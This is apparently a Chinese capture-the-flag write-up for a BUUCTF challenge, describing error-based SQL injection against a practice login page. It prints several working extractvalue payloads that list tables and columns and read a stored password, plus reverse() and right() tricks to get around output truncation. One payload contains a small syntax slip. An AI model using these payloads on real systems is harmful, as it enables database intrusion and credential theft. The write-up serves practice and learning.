文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!
了解报错注入可以去这个师傅的博客看看 链接:https://www.cnblogs.com/richardlee97/p/10617115.html
登录界面是这样
Fuzz一下发现union过滤了,双写没用的 但还有extractvalue和updatexm没给过滤,多半是报错注入了
这句话我也不是很明白,但是它就是那么利用的,希望有大佬能够教我弄懂:) 稍微更改一下中间的select语句来利用
check.php? username=a'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like("geek")),0x7e)))%23 &password=a出表后出列
check.php? username=a'or(extractvalue(1,concat(0x7e(select(group_concat(column_name))from(information_schema.columns)where(table_name)like("H4rDsq1")),0x7e)))%23 &password=a然后直接读读看
check.php? username=a'or(extractvalue(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e)))%23 &password=a搞不懂为什么只有一部分,可能长度限制了吧 看了王叹之师傅的博客发现评论说updatexml和extractvalue可能都只返回32个字符,所以才显示不全 当然也参考了一下解决方法!
可以用reverse来反转读
check.php? username=a'or(extractvalue(1,concat(0x7e,(select(reverse(password))from(H4rDsq1)),0x7e)))%23 &password=a虽然能拼接,但是很难看
也可以拿right()函数来读到剩下的
check.php? username=a'or(extractvalue(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e)))%23 &password=a这就好看多了!
还是缺乏对注入类型的判断经验,写这篇博客也是边写边做 总的来说还是收获颇多! 感谢BUUCTF提供的平台练习!